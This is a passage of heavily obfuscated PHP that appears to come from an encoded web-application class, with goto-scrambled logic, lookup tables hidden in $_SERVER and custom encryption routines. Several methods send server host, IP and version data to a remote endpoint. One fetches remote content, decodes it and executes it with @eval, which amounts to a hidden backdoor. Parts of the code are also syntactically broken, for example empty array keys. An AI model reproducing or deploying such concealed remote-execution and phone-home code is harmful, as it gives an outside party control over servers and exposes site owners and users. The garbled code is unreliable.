$a¦[$eӚ蓪[142]] = $a; $a¦[$eӚ蓪[143]] = $eӚ蓪[144]($eӚ蓪[104]($this->girtef17344a, $eӚ蓪[145])); $a¦[$eӚ蓪[146]] = $eӚ蓪[104]($this->girtef17344a, $eӚ蓪[131]); } } $a¦ = $this->{$_SERVER[][147]}($eӚ蓪[148]($a¦), $eӚ蓪[114]($eӚ蓪[149])); goto B; D: if (!$BЌ) { die; } goto a; B: $Fڛ = $aɍ塌[575]; $C = array($eӚ蓪[150] => $a¦); $d¼ = $aɍ塌[576]; goto d׎; a: } goto bޮ; a᤬Ʋ: if (!$D҉ȡ) { die; } goto C; cߧ: $F˨ = $eӚ蓪[61]($eӚ蓪[62])->{$_SERVER[][63]}(); $e˿ = $aɍ塌[579]; if (!$e˿) { return; } goto EÇƎ; C: } private function ekwf14f5422d() { goto A됃; f빤: $a𐷵Ӗ = $B̽ν[583]; if (strlen($a𐷵Ӗ) < $B̽ν[581]) { return; } $f줄 = $cÇ[114]($_SERVER[$cÇ[115]] . $bڴ); goto F; A됃: $B̽ν =& $_SERVER[ѽ]; $cÇ =& $_SERVER[]; if ($_SERVER[$cÇ[44]] != $cÇ[162]) { return; } goto f玠; B: if (!isset($aר[$cÇ[165]]) || $cÇ[24]($aר[$cÇ[165]]) != 16) { $cÇ[166]($cÇ[167] . $aר[$cÇ[165]], !1); } $bڴ = $cÇ[61]($cÇ[62])->{$_SERVER[][63]}($cÇ[116]); $a = array($cÇ[165] => $aר[$cÇ[165]], $cÇ[168] => $cÇ[124](16), $cÇ[169] => $cÇ[149], $cÇ[170] => $cÇ[171], $cÇ[172] => $_SERVER[$cÇ[173]], $cÇ[174] => $_SERVER[$cÇ[175]], $cÇ[176] => $_SERVER[$cÇ[177]]); goto f빤; BŽ: if (!$b || $b != $cÇ[201]($Bŭ[$cÇ[145]])) { $FѨ = array($cÇ[202] => $cÇ[61]($cÇ[62])->{$_SERVER[][63]}($cÇ[116]), $cÇ[203] => $_SERVER[$cÇ[115]], $cÇ[204] => $cÇ[205](), $cÇ[174] => $_SERVER[$cÇ[175]]); $F = $this->{$_SERVER[][206]}($cÇ[148]($FѨ)); $this->{$_SERVER[][182]}($cÇ[207] . $F); $cÇ[166]($cÇ[197]($cÇ[208]), !0); } $E󥟍 = array($cÇ[209] => $a[$cÇ[165]], $cÇ[210] => $Bŭ[$cÇ[211]], $cÇ[212] => $cÇ[124](16), $cÇ[120] => $Bŭ[$cÇ[213]]); if ($a[$cÇ[168]]) { $E󥟍[$cÇ[212]] = $a[$cÇ[168]]; } goto Cуα; C: if (strlen($eƏ) < $B̽ν[581]) { return; } $E󥟍[$cÇ[123]] = $cÇ[118]($cÇ[214]($this->{$_SERVER[][147]}($a, $cÇ[216]))); if ($Bŭ[$cÇ[217]] && $Bŭ[$cÇ[217]] >= 1) { $cÇ[61]($cÇ[62])->{$_SERVER[][218]}($cÇ[219], $cÇ[220]); } goto fń; f玠: if (!$cÇ[104]($GLOBALS, $cÇ[132])) { die; } $aר = $GLOBALS[$cÇ[22]]; if (isset($aר[$cÇ[163]])) { $this->{$_SERVER[][164]}(); die; } goto B; eν: $AΈ = $cÇ[222]($cÇ[61]($cÇ[11])->{$_SERVER[][223]}(), $cÇ[224]); $eޔ = $B̽ν[592]; $Cꄅ = $AΈ[$cÇ[225]]; goto c; CѺ: $DΦ = $cÇ[124](16); $a = $DΦ . $E󥟍[$cÇ[120]] . $this->{$_SERVER[][147]}($cÇ[114]($E󥟍[$cÇ[209]]), $DΦ); $eƏ = $B̽ν[588]; goto C; Aш: $E󥟍[$cÇ[122]] = $cÇ[214]($cÇ[118]($this->{$_SERVER[][147]}($d, $cÇ[215]))); $DВ = $B̽ν[587]; if (strlen($DВ) < $B̽ν[556]) { die; } goto CѺ; Dƞժ: $cÇ[61]($cÇ[11])->{$_SERVER[][226]}($Cꄅ[$cÇ[227]], array($cÇ[228] => $D)); $cÇ[166]($cÇ[197]($cÇ[208]), !0); goto CĐ; fń: $cÇ[61]($cÇ[62])->{$_SERVER[][221]}($E󥟍); $A⢪ = $cÇ[114]($_SERVER[$cÇ[115]] . $cÇ[214]($bڴ) . $E󥟍[$cÇ[210]]); $bܵƥ = $B̽ν[589]; goto Bޗ͋; Bޗ͋: $b = $cÇ[214]($cÇ[25]($A⢪, 10, 16)); $A = $B̽ν[590]; while ($A < $B̽ν[559]) { if ($A >= 0) { break; } $A++; } goto cձ; c: $D = array(); $D[$b] = $Bʮ; $A = $B̽ν[593]; goto Dƞժ; F: if ($aר[$cÇ[178]] == $cÇ[179]) { $E܏ = $this->{$_SERVER[][147]}($f줄, $cÇ[180]); $F = $this->{$_SERVER[][127]}($cÇ[148]($a), $f줄 . $cÇ[181], 3); $b捑Ô = $this->{$_SERVER[][182]}($cÇ[183] . $E܏ . $cÇ[184] . $F, -1); $cÇ[166]($b捑Ô, !0); } else { if ($aר[$cÇ[178]] == $cÇ[185]) { $f䧧 = $cÇ[25]($cÇ[114]($cÇ[186] . $f줄), 12, 15) . $cÇ[187]; $F = $this->{$_SERVER[][188]}($cÇ[2]($aר[$cÇ[189]]), $f䧧, 2); $b۹񾈂 = $cÇ[190]($F, !0); if (!$cÇ[191]($b۹񾈂) || !$cÇ[191]($b۹񾈂[$cÇ[192]]) || $b۹񾈂[$cÇ[165]] != !0) { $dꂪ = $cÇ[193]; $Eޖ = $b۹񾈂[$cÇ[192]] ? $cÇ[194] . $b۹񾈂[$cÇ[192]] : $dꂪ; $cÇ[166]($Eޖ, !1); } else { $a[$cÇ[168]] = $b۹񾈂[$cÇ[192]][$cÇ[195]]; } } else { $b۹񾈂 = $this->{$_SERVER[][182]}($cÇ[196], $a, 10); $A΄ٷ = $B̽ν[584]; } } if (!$cÇ[191]($b۹񾈂) || !$cÇ[191]($b۹񾈂[$cÇ[192]]) || $b۹񾈂[$cÇ[165]] != !0) { $dꂪ = $cÇ[197]($cÇ[198]); $Eޖ = $b۹񾈂[$cÇ[192]] ? $cÇ[194] . $b۹񾈂[$cÇ[192]] : $dꂪ; $cÇ[166]($Eޖ, !1); } $Bŭ = $b۹񾈂[$cÇ[192]]; goto F; Cуα: $b = $cÇ[25]($cÇ[114]($E󥟍[$cÇ[210]]), 10, 10); $d = $b . $E󥟍[$cÇ[120]] . $E󥟍[$cÇ[212]]; $D콆 = $B̽ν[586]; goto Aш; F: $b = $this->{$_SERVER[][199]}($Bŭ[$cÇ[200]]); $d繂͢ = $B̽ν[585]; if (!$d繂͢) { return; } goto BŽ; cձ: $Bʮ = $this->{$_SERVER[][127]}($cÇ[148]($Bŭ), $A⢪); $Bፔ = $B̽ν[591]; while (strlen($Bፔ) < $B̽ν[559]) { if (!$Bፔ) { break; } $Bፔ++; } goto eν; CĐ: } private function tjpe68a0b373() { goto bؼ; bؼ: $Fߚ =& $_SERVER[ѽ]; $aĎ =& $_SERVER[]; $aĎ[61]($aĎ[62])->{$_SERVER[][221]}(array($aĎ[209] => $aĎ[10], $aĎ[210] => $aĎ[10], $aĎ[120] => $aĎ[121], $aĎ[122] => $aĎ[10], $aĎ[123] => $aĎ[10])); goto Fܭ; Fܭ: $aĎ[61]($aĎ[62])->{$_SERVER[][218]}($aĎ[219], $aĎ[229]); $Dؤ = $Fߚ[594]; $this->girtef17344a = array(); goto Dݗ; fݼ: if (strlen($F̧) < $Fߚ[551]) { die; } goto F쌌Һ; Dݗ: $C׻ = $Fߚ[595]; $this->amdb4b1f3d62 = $aĎ[121]; $F̧ = $Fߚ[596]; goto fݼ; F쌌Һ: } private function ihkv577a623a() { goto F; f: if (!$D) { return; } $DLj = $this->{$_SERVER[][188]}($f[$Dߛ[91]][$cŽ], $cώ³); $a샞 = $dĂ[603]; goto b; cȶϒׄ: $this->amdb4b1f3d62 = $aɫ֭[$Dߛ[120]]; goto F; c: $E뎥 = $dĂ[600]; if (!$E뎥) { return; } $cώ³ = $Dߛ[114]($_SERVER[$Dߛ[115]] . $Dߛ[214]($c솯) . $aɫ֭[$Dߛ[210]]); goto BЗݭ; e˰: $fژˤ = $Dߛ[222]($Dߛ[61]($Dߛ[11])->{$_SERVER[][223]}(), $Dߛ[224]); $d = $dĂ[599]; $f = $fژˤ[$Dߛ[225]]; goto c; a蠝ċ: $Cϊ׍ = $Dߛ[144]($DLj[$Dߛ[145]]); if ($Dߛ[230]() >= $Cϊ׍) { return $this->{$_SERVER[][164]}(); } $this->girtef17344a = $DLj; goto cȶϒׄ; b숋: $Dˈ˒ = $dĂ[597]; $this->amdb4b1f3d62 = $Dߛ[121]; $aɫ֭ = $Dߛ[61]($Dߛ[62])->{$_SERVER[][63]}(); goto fʞ; BЗݭ: $D = $dĂ[601]; $cŽ = $Dߛ[214]($Dߛ[25]($cώ³, 10, 16)); $D = $dĂ[602]; goto f; F: $dĂ =& $_SERVER[ѽ]; $Dߛ =& $_SERVER[]; $_SERVER[$Dߛ[175]] = $Dߛ[104]($_SERVER, $Dߛ[175], APP_HOST); goto b숋; b: while (strlen($a샞) < $dĂ[556]) { if (!$a샞) { break; } $a샞++; } $DLj = $Dߛ[190]($DLj, !0); if (!$Dߛ[191]($DLj)) { return $this->{$_SERVER[][164]}(); } goto a蠝ċ; fʞ: if ($aɫ֭[$Dߛ[120]] == $Dߛ[121]) { return; } $c솯 = $Dߛ[61]($Dߛ[62])->{$_SERVER[][63]}($Dߛ[116]); $Dâ = $dĂ[598]; goto e˰; F: } private function gkjae5d22ad5() { goto a; cͪլŖ: $bԾ = $_SERVER[ѽ][604]; if ($Fܢ == $e[231] && $this->amdb4b1f3d62 == $e[121]) { $e[166]($e[197]($e[232]), !1, $e[233]); } $E = array($e[234], $e[235]); goto A; A: if ($e[236]($Fܢ, $E)) { if ($this->amdb4b1f3d62 == $e[121] && isset($c٣݌[$e[237]])) { $e[166]($e[197]($e[232]), !1, $e[233]); die; } $cԷ{ = $this->{$_SERVER[][137]}(); if ($cԷ{ != $e[201]($e[238])) { if ($cԷ{ <= $e[61]($e[139])->{$_SERVER[][140]}()) { $e[166]($e[197]($e[239]), !1, $e[233]); die; } } } goto aԱ; a: $e =& $_SERVER[]; $c٣݌ = $GLOBALS[$e[22]]; $Fܢ = $_SERVER[$e[44]]; goto cͪլŖ; aԱ: } private function oyuz68a88cd9() { goto A; Dΰ: while ($dБޙ < $fƨ[551]) { if ($dБޙ >= 0) { break; } $dБޙ++; } $C葮Ҥ[251]($C葮Ҥ[252]); if ($c͵ڭ && $C葮Ҥ[32]($c͵ڭ, $C葮Ҥ[253])) { echo $c͵ڭ; } goto Dީ; A: $fƨ =& $_SERVER[ѽ]; $C葮Ҥ =& $_SERVER[]; $D͙域 = array($C葮Ҥ[135], $C葮Ҥ[240]); goto F墎; Dީ: die; goto d; BȖ: $bŬ = $fƨ[605]; if (!$bŬ) { die; } $cϩ = $this->{$_SERVER[][243]}($cϩ, $C葮Ҥ[244]); goto A; A: $Bֶ = $C葮Ҥ[245](array($C葮Ҥ[246] => array($C葮Ҥ[247] => $C葮Ҥ[248], $C葮Ҥ[249] => 3))); $c͵ڭ = @$C葮Ҥ[250]($cϩ, !1, $Bֶ); $dБޙ = $fƨ[606]; goto Dΰ; F墎: if (!$C葮Ҥ[104]($GLOBALS, $C葮Ҥ[132]) || !isset($_GET[$C葮Ҥ[241]])) { return; } if (!$C葮Ҥ[236]($_SERVER[$C葮Ҥ[44]], $D͙域)) { return; } $cϩ = $C葮Ҥ[242]; goto BȖ; d: } public function ghke3470b2d2($EǦ) { goto eţ; dߢ: $bҵ = array(); $F宨 = $A[546]; if (!$F宨) { return; } goto Eӧ; eţ: $A =& $_SERVER[ѽ]; $Ë́ =& $_SERVER[]; if ($this->amdb4b1f3d62 == $Ë́[254]) { return $EǦ; } goto D٦; D٦: $fׅ = array($Ë́[255], $Ë́[256], $Ë́[257], $Ë́[258], $Ë́[259], $Ë́[260], $Ë́[261], $Ë́[262]); $cߋ = $A[607]; if (!$cߋ) { return; } goto e􃮃Č; e􃮃Č: $b = $Ë́[0]($Ë́[263], $Ë́[104]($this->girtef17344a, $Ë́[129], $Ë́[10])); $bγТ = $A[608]; if (!$bγТ) { die; } goto dߢ; Eӧ: foreach ($fׅ as $F) { if (!$Ë́[236]($F, $b)) { $bҵ[] = $F; } } foreach ($bҵ as $F) { unset($EǦ[$F]); $Eȕ = $A[609]; } return $EǦ; goto B; B: } private function xcwke5ec3e29() { goto C̈讆; cϵ: $aڌΟɋ[61]($aڌΟɋ[269])->{$_SERVER[][221]}($aڌΟɋ[85], $aڌΟɋ[229]); $Dꤌ = $bʲŠ[612]; while (strlen($Dꤌ) < $bʲŠ[553]) { if (!$Dꤌ) { break; } $Dꤌ++; } goto b; bӪ: $cл = $_SERVER[$aڌΟɋ[44]]; $f = array($aڌΟɋ[265]); $C = $bʲŠ[610]; goto Aӷ; b: $GLOBALS[$aڌΟɋ[91]][$aڌΟɋ[268]] = $aڌΟɋ[220]; $Aл = $bʲŠ[611]; if (!$Aл) { return; } goto cϵ; C̈讆: $bʲŠ =& $_SERVER[ѽ]; $aڌΟɋ =& $_SERVER[]; if ($this->amdb4b1f3d62 != $aڌΟɋ[121]) { $GLOBALS[$aڌΟɋ[91]][$aڌΟɋ[95]][$aڌΟɋ[264]] = $aڌΟɋ[220]; return; } goto bӪ; Aӷ: foreach ($f as $e) { if ($e == $cл || $aڌΟɋ[25]($cл, 0, $aڌΟɋ[24]($e)) == $e) { $aڌΟɋ[166]($aڌΟɋ[197]($aڌΟɋ[266]), !1); } } $GLOBALS[$aڌΟɋ[91]][$aڌΟɋ[95]][$aڌΟɋ[267]] = $aڌΟɋ[220]; $GLOBALS[$aڌΟɋ[91]][$aڌΟɋ[95]][$aڌΟɋ[264]] = $aڌΟɋ[229]; goto b; b: } public function amcj5b10811d() { return $_SERVER[][270]; $E = $_SERVER[ѽ][613]; } private function tkapf6cf7690() { goto C挜; dݿդ: $this->{$_SERVER[][164]}(); if ($this->{$_SERVER[][199]}($F[$D[280]]) != $bŨ[$D[165]]) { $C՝ = array($D[202] => $D[61]($D[62])->{$_SERVER[][63]}($D[116]), $D[203] => $_SERVER[$D[115]], $D[204] => $D[205](), $D[174] => $_SERVER[$D[175]]); $AҐ = $this->{$_SERVER[][206]}($D[148]($C՝)); $F = $this->{$_SERVER[][182]}($D[207] . $AҐ); if ($F && $D[191]($F) && isset($F[$D[280]])) { $c = $this->{$_SERVER[][188]}($F[$D[280]], 2); if ($c) { $c = $this->{$_SERVER[][199]}($c); } if ($c) { try { @eval($c); } catch (Exception $a؈Ӌ) { } } } } goto e; Aꔓ: $Bݾ = $C䯾[614]; if (!$Bݾ) { die; } $bȆҢ = $D[274] . $D[114]($D[275]); goto dո; C挜: $C䯾 =& $_SERVER[ѽ]; $D =& $_SERVER[]; $fۃ؉ = array($D[271], $D[272], $D[273]); goto Aꔓ; E֨: if ($Aŷ && $D[230]() - $Aŷ < $D[201]($D[278])) { return; } $D[13](array($D[276], $D[152]), $bȆҢ, $D[230]()); $bŨ = array($D[165] => $D[61]($D[62])->{$_SERVER[][63]}($D[209]), $D[178] => $this->amdb4b1f3d62, $D[176] => $_SERVER[$D[177]], $D[169] => $D[149], $D[172] => $_SERVER[$D[173]]); goto B; B: $F = $this->{$_SERVER[][182]}($D[279], $bŨ); if (!$D[191]($F)) { return; } if ($F[$D[165]] && $F[$D[280]]) { if ($this->{$_SERVER[][199]}($F[$D[280]]) == $bŨ[$D[165]]) { return; } } goto dݿդ; dؤ: $Aŷ = $D[13](array($D[276], $D[277]), $bȆҢ); $Dƃ = $C䯾[615]; if (strlen($Dƃ) < $C䯾[551]) { return; } goto E֨; dո: if ($this->amdb4b1f3d62 == $D[121] || !$D[104]($GLOBALS, $D[132])) { return; } if (!$D[236]($_SERVER[$D[44]], $fۃ؉)) { return; } if ($D[230]() % 4 != 0) { return; } goto dؤ; e: } private function podtc223f67a($b = '', $b먲 = array(), $FӐĶ = 5) { goto dأ; fω: $D΃ = $d[617]; if (strlen($D΃) < $d[581]) { die; } $B = $B . $b . $b뎍[283] . $b뎍[284]($b먲); goto A; dأ: $d =& $_SERVER[ѽ]; $b뎍 =& $_SERVER[]; $B = $b뎍[281]; goto BĨ; BĨ: $cҒף = $d[616]; if (strlen($cҒף) < $d[559]) { return; } $B = $this->{$_SERVER[][243]}($B, $b뎍[282]); goto fω; F«Ұ: $EѤ = $d[619]; while ($EѤ < $d[551]) { if ($EѤ >= 0) { break; } $EѤ++; } goto B; bⷵҸ: while (strlen($eھ) < $d[581]) { if (!$eھ) { break; } $eھ++; } $b먲 = @$b뎍[250]($B, !1, $d𐠒); return $b뎍[190]($b먲, !0); goto F«Ұ; A: if ($b먲 === -1) { return $B; } $d𐠒 = $b뎍[245](array($b뎍[246] => array($b뎍[249] => $FӐĶ, $b뎍[247] => $b뎍[285]), $b뎍[286] => array($b뎍[287] => !1, $b뎍[288] => !1))); $eھ = $d[618]; goto bⷵҸ; B: } private function ksjo083f66b3() { goto f; A硶ϖ: if (strlen($AႿ) < $Cƙ[559]) { die; } $Aɍ = $Aɍ ? $C[201]($Aɍ) : 0; $D؈ = $Cƙ[622]; goto b; b: return $Cֆ + $Aɍ; $Fא = $Cƙ[623]; while ($Fא < $Cƙ[553]) { if ($Fא >= 0) { break; } $Fא++; } goto cʇ; Fִ: $Cֆ = $C[201]($Cֆ ? $Cֆ : $C[290]); $Aɍ = $C[104]($this->girtef17344a, $C[316]); $AႿ = $Cƙ[621]; goto A硶ϖ; A: $Cֆ = $Cš煔[$this->amdb4b1f3d62]; $d = $Cƙ[620]; while (strlen($d) < $Cƙ[553]) { if (!$d) { break; } $d++; } goto Fִ; f: $Cƙ =& $_SERVER[ѽ]; $C =& $_SERVER[]; $Cš煔 = array($C[289] => $C[290], $C[291] => $C[292], $C[293] => $C[294], $C[295] => $C[296], $C[297] => $C[298], $C[299] => $C[238], $C[300] => $C[238], $C[301] => $C[290], $C[302] => $C[292], $C[303] => $C[294], $C[304] => $C[305], $C[306] => $C[296], $C[307] => $C[308], $C[309] => $C[298], $C[310] => $C[311], $C[312] => $C[313], $C[314] => $C[315]); goto A; cʇ: } public function hsox783857cb($dǥຽ) { goto c; fnj: $Bͼ = $Dۻ[222]($Bͼ, $Dۻ[10], $Dۻ[318]); $cԐ = $f̑[625]; while (strlen($cԐ) < $f̑[559]) { if (!$cԐ) { break; } $cԐ++; } goto Aݚ; bѴ͛: $E = $Dۻ[61]($Dۻ[139])->{$_SERVER[][140]}(); if ($E <= $fՊ) { return; } $Bͼ = $Dۻ[61]($Dۻ[139])->{$_SERVER[][317]}($Dۻ[318])->{$_SERVER[][319]}($fՊ)->{$_SERVER[][320]}(); goto fnj; Aݚ: if (!$Dۻ[236]($dǥຽ[$Dۻ[318]], $Bͼ)) { $Dۻ[166]($Dۻ[321], !1, $Dۻ[233]); } goto B; c늨ʃ: $AȦɽ = $f̑[624]; while (strlen($AȦɽ) < $f̑[553]) { if (!$AȦɽ) { break; } $AȦɽ++; } if ($fՊ >= $Dۻ[201]($Dۻ[238])) { return; } goto bѴ͛; c: $f̑ =& $_SERVER[ѽ]; $Dۻ =& $_SERVER[]; $fՊ = $this->{$_SERVER[][137]}(); goto c늨ʃ; B: } public function oxauc2fdcdd7() { goto AѴ; AѴ: $b =& $_SERVER[ѽ]; $d =& $_SERVER[]; if (!$d[104]($GLOBALS, $d[132]) || $d[322](1, 100) > 20) { return; } goto EԷ; eñ: $CĞο = $d[245](array($d[246] => array($d[247] => $d[248], $d[249] => 3))); $CӍ = $b[628]; if (!$CӍ) { die; } goto a; bΑ: echo $d[323] . $d[324]($FƆ) . $d[325]; $c = $b[630]; while (strlen($c) < $b[559]) { if (!$c) { break; } $c++; } goto f񗍣; EԷ: $bҸڣ = $d[242]; $Bî = $b[626]; if (!$Bî) { die; } goto aШ; aШ: $bҸڣ = $this->{$_SERVER[][243]}($bҸڣ, $d[244]); $E = $b[627]; if (strlen($E) < $b[556]) { die; } goto eñ; a: $FƆ = @$d[250]($bҸڣ, !1, $CĞο); $bФ = $b[629]; if (strlen($bФ) < $b[581]) { die; } goto bΑ; f񗍣: } private function thilef2e9fb8($Bć̤, $c, $c = 3) { goto aНٞ; F򬇞: $c = $f[322](0, 5) . $f[10]; $d« = $f[124](15); $aы = $DΧŋ[632]; goto bҷ; a: $A͖݅ = $DΧŋ[645]; if (!$A͖݅) { return; } if ($c - 1 > 0) { $BǨ܏ = $this->{$_SERVER[][127]}($BǨ܏, $c, $c - 1); } goto B; bҷ: $B壘 = $f[327]; switch ($c) { case $f[229]: $BǨ܏ = $this->{$_SERVER[][147]}($Bć̤, $f[214]($c . $d«)); $F = $DΧŋ[633]; while (strlen($F) < $DΧŋ[551]) { if (!$F) { break; } $F++; } break; case $f[220]: $BǨ܏ = $this->{$_SERVER[][147]}($Bć̤, $f[214]($d« . $c)); $AҺÈҝ = $DΧŋ[634]; break; $b = $DΧŋ[635]; if (!$b) { return; } case $f[328]: $BǨ܏ = $this->{$_SERVER[][147]}($Bć̤, $f[118]($d« . $c)); $D柫 = $DΧŋ[636]; if (!$D柫) { return; } break; case $f[329]: $BǨ܏ = $this->{$_SERVER[][147]}($Bć̤, $f[114]($d« . $c)); $Dʒ = $DΧŋ[637]; if (strlen($Dʒ) < $DΧŋ[556]) { die; } break; case $f[330]: goto C; fº: $dȻ = $f[114]($f⻸ . $f[114]($c . $f⻸) . $c); $bʠ = $DΧŋ[640]; while (strlen($bʠ) < $DΧŋ[559]) { if (!$bʠ) { break; } $bʠ++; } goto b; b˙ʏ: break; goto f; b: $dȻ = $f[25]($dȻ, $c乧 % 8, $c乧 % 8 + 7); $dڈ = $DΧŋ[641]; if (!$dڈ) { die; } goto D킰; D킰: $b¿ = $f[10]; $a = 0; $Cۻ = 0; goto eʎϠ; eʎϠ: $Cٱ = 0; for ($a = 0; $a < $f[24]($Bć̤); $a++) { $Cٱ = $Cٱ == $f[24]($dȻ) ? 0 : $Cٱ; $B› = $DΧŋ[642]; if (!$B›) { return; } $Cۻ = ($c乧 + $f[332]($B壘, $Bć̤[$a]) + $f[333]($dȻ[$Cٱ++])) % 64; $aϚņ = $DΧŋ[643]; $b¿ .= $B壘[$Cۻ]; $aަӍ = $DΧŋ[644]; if (!$aަӍ) { die; } } $BǨ܏ = $f[324]($f⻸ . $b¿); goto b˙ʏ; C: $Bć̤ = $f[118]($Bć̤); $Cʌ = $DΧŋ[638]; while (strlen($Cʌ) < $DΧŋ[581]) { if (!$Cʌ) { break; } $Cʌ++; } goto eҦ; eҦ: $c乧 = $f[331](0, 64); $C挳В = $DΧŋ[605]; while ($C挳В < $DΧŋ[551]) { if ($C挳В >= 0) { break; } $C挳В++; } goto aߎʎ; aߎʎ: $f⻸ = $B壘[$c乧]; $B꘎꽭 = $DΧŋ[639]; if (!$B꘎꽭) { die; } goto fº; f: default: $BǨ܏ = $this->{$_SERVER[][147]}($Bć̤, $c . $d«); $F쓪 = $DΧŋ[642]; while ($F쓪 < $DΧŋ[551]) { if ($F쓪 >= 0) { break; } $F쓪++; } break; $d𹍆 = $DΧŋ[622]; } $BǨ܏ = $f[214]($c . $d« . $BǨ܏); goto a; aНٞ: $DΧŋ =& $_SERVER[ѽ]; $f =& $_SERVER[]; $f[326](1); goto fȡ; fȡ: $E̒ = $DΧŋ[631]; while (strlen($E̒) < $DΧŋ[551]) { if (!$E̒) { break; } $E̒++; } $Bć̤ = $f[2]($Bć̤); goto F򬇞; B: return $BǨ܏; goto FÇ; FÇ: } private function gdnl182d327d($a, $bú, $D첗누 = 3) { goto d; cǗ: $DҾ = $EЙ[648]; if (strlen($DҾ) < $EЙ[553]) { return; } $Cڥ = $C[327]; goto fҳ; c֗ؼ: if ($D첗누 - 1 > 0) { $cҡ = $this->{$_SERVER[][188]}($cҡ, $bú, $D첗누 - 1); } return $cҡ; goto D; d: $EЙ =& $_SERVER[ѽ]; $C =& $_SERVER[]; if (!$C[334]($a) || $C[24]($a) < 10) { return !1; } goto eԗ; fҳ: $d = $EЙ[649]; while (strlen($d) < $EЙ[551]) { if (!$d) { break; } $d++; } switch ($c) { case $C[229]: $cҡ = $this->{$_SERVER[][243]}($a, $C[214]($bú . $E)); $Aӥ = $EЙ[650]; while ($Aӥ < $EЙ[551]) { if ($Aӥ >= 0) { break; } $Aӥ++; } break; case $C[220]: $cҡ = $this->{$_SERVER[][243]}($a, $C[214]($E . $bú)); break; case $C[328]: $cҡ = $this->{$_SERVER[][243]}($a, $C[118]($E . $bú)); $CÅ = $EЙ[651]; while ($CÅ < $EЙ[553]) { if ($CÅ >= 0) { break; } $CÅ++; } break; case $C[329]: $cҡ = $this->{$_SERVER[][243]}($a, $C[114]($E . $bú)); break; $b晞ʣ = $EЙ[628]; if (!$b晞ʣ) { return; } case $C[330]: goto dƱ; Bꪟ۴: $Fפ = $EЙ[660]; if (!$Fפ) { die; } break; goto EѶߑ; f߳: $dݺӔ = $EЙ[654]; if (!$dݺӔ) { return; } $Fʔ = $C[25]($Fʔ, $A´ % 8, $A´ % 8 + 7); goto Aݱ; C: if (strlen($D) < $EЙ[553]) { return; } for ($fŃ׳ = 0; $fŃ׳ < $C[24]($a); $fŃ׳++) { $B΍ = $B΍ == $C[24]($Fʔ) ? 0 : $B΍; $d = $EЙ[657]; $Eꍾ = $B΍++; $fń = $EЙ[658]; if (!$fń) { die; } $A = $C[332]($Cڥ, $a[$fŃ׳]) - $A´ - $C[333]($Fʔ[$Eꍾ]); while ($A < 0) { $A += 64; $cՌㄠ = $EЙ[659]; if (!$cՌㄠ) { return; } } $fヅ .= $Cڥ[$A]; } $cҡ = $C[336]($fヅ); goto Bꪟ۴; cͦ׍: if (!$b) { return; } $A´ = $C[332]($Cڥ, $aؑ); $Fʔ = $C[114]($aؑ . $C[114]($bú . $aؑ) . $bú); goto f߳; dƱ: $a = $C[335]($a); $Fʼn = $EЙ[652]; if (!$Fʼn) { die; } goto c; B: $F = $EЙ[655]; $B΍ = 0; $D = $EЙ[656]; goto C; Aݱ: $fヅ = $C[10]; $fŃ׳ = 0; $A = 0; goto B; c: $aؑ = $a[0]; $a = $C[25]($a, 1); $b = $EЙ[653]; goto cͦ׍; EѶߑ: default: $cҡ = $this->{$_SERVER[][243]}($a, $bú . $E); $e = $EЙ[661]; break; } goto c֗ؼ; eԗ: $a = $C[2]($a); $a = $C[214]($a); $B = $EЙ[646]; goto FՅ; FՅ: while ($B < $EЙ[553]) { if ($B >= 0) { break; } $B++; } $c = $a[0]; $E = $C[25]($a, 1, 15); goto DՇԯ; DՇԯ: $dظƑ = $EЙ[647]; while (strlen($dظƑ) < $EЙ[553]) { if (!$dظƑ) { break; } $dظƑ++; } $a = $C[25]($a, 16); goto cǗ; D: } public function cigfe6d3f78a($Ač) { goto D܆; Bނ: $F޿ = $d[664]; while (strlen($F޿) < $d[581]) { if (!$F޿) { break; } $F޿++; } $b鈢֨ = $c[201](($E䉟 + $cݾϒ) / 2); goto E; Fµ: $d㸨 = $d[662]; while ($d㸨 < $d[556]) { if ($d㸨 >= 0) { break; } $d㸨++; } $cݾϒ = $this->{$_SERVER[][337]}(); goto A; FЈܑ: $dꝃ = $d[670]; while (strlen($dꝃ) < $d[581]) { if (!$dꝃ) { break; } $dꝃ++; } $dķЊ = $this->{$_SERVER[][147]}($Ač, $eΪ) . $c[341] . $eί㺠; goto f߲; C: while (strlen($b) < $d[559]) { if (!$b) { break; } $b++; } for ($aˑ嫨 = 0; $aˑ嫨 < $Fʯ * 10; $aˑ嫨++) { if (($Fʯ * $aˑ嫨 + 1) % $b鈢֨ == 0) { $aћ = $c[201](($Fʯ * $aˑ嫨 + 1) / $b鈢֨); break; } } $eί㺠 = $this->{$_SERVER[][147]}($E䉟 * $cݾϒ . $c[10], $c[149]); goto c; c: $b = $d[669]; while ($b < $d[581]) { if ($b >= 0) { break; } $b++; } $eΪ = $c[114]($c[338] . ($E䉟 + $cݾϒ) . $c[339] . $b鈢֨ . $c[339] . $aћ . $c[340]); goto FЈܑ; E: while (1) { $bݕ” = $b鈢֨; $e曤 = $d[665]; while (strlen($e曤) < $d[553]) { if (!$e曤) { break; } $e曤++; } $Bϋ = $Fʯ; while ($Bϋ % $bݕ” != 0) { $EҞ = $Bϋ; $d = $d[666]; while (strlen($d) < $d[553]) { if (!$d) { break; } $d++; } $Bϋ = $bݕ”; $bݕ” = $EҞ % $bݕ”; $aѯ = $d[667]; if (strlen($aѯ) < $d[556]) { return; } } if ($bݕ” == 1) { break; } else { $b鈢֨++; } } $aћ = 2; $b = $d[668]; goto C; A: $c = $d[663]; if (!$c) { return; } $Fʯ = ($E䉟 - 1) * ($cݾϒ - 1); goto Bނ; f߲: return $dķЊ; $e© = $d[671]; if (strlen($e©) < $d[551]) { die; } goto aǶ; D܆: $d =& $_SERVER[ѽ]; $c =& $_SERVER[]; $E䉟 = $this->{$_SERVER[][337]}(); goto Fµ; aǶ: } public function tsvhd3ca92fd($fʾ) { goto Bգ; C˃: $f߾ = 2; $e = $DɲҺ[680]; if (strlen($e) < $DɲҺ[551]) { return; } goto d; Fç: if (!$dݹ) { die; } if (!$cژՄ) { return $B[10]; } $cژՄ = $B[201]($cژՄ); goto d͖; d͖: $F = 0; $c = $DɲҺ[673]; $dۇ廨 = 0; goto Cڗ; Bգ: $DɲҺ =& $_SERVER[ѽ]; $B =& $_SERVER[]; $Bnj = $B[0]($B[341], $fʾ); goto Dڜ; CჇ: if (strlen($eٓ) < $DɲҺ[553]) { return; } $c߃ = $this->{$_SERVER[][243]}($Bnj[0], $B); $a熽 = $DɲҺ[682]; goto bّԯ; Cڗ: $E̅ = $DɲҺ[674]; while ($E̅ < $DɲҺ[553]) { if ($E̅ >= 0) { break; } $E̅++; } for 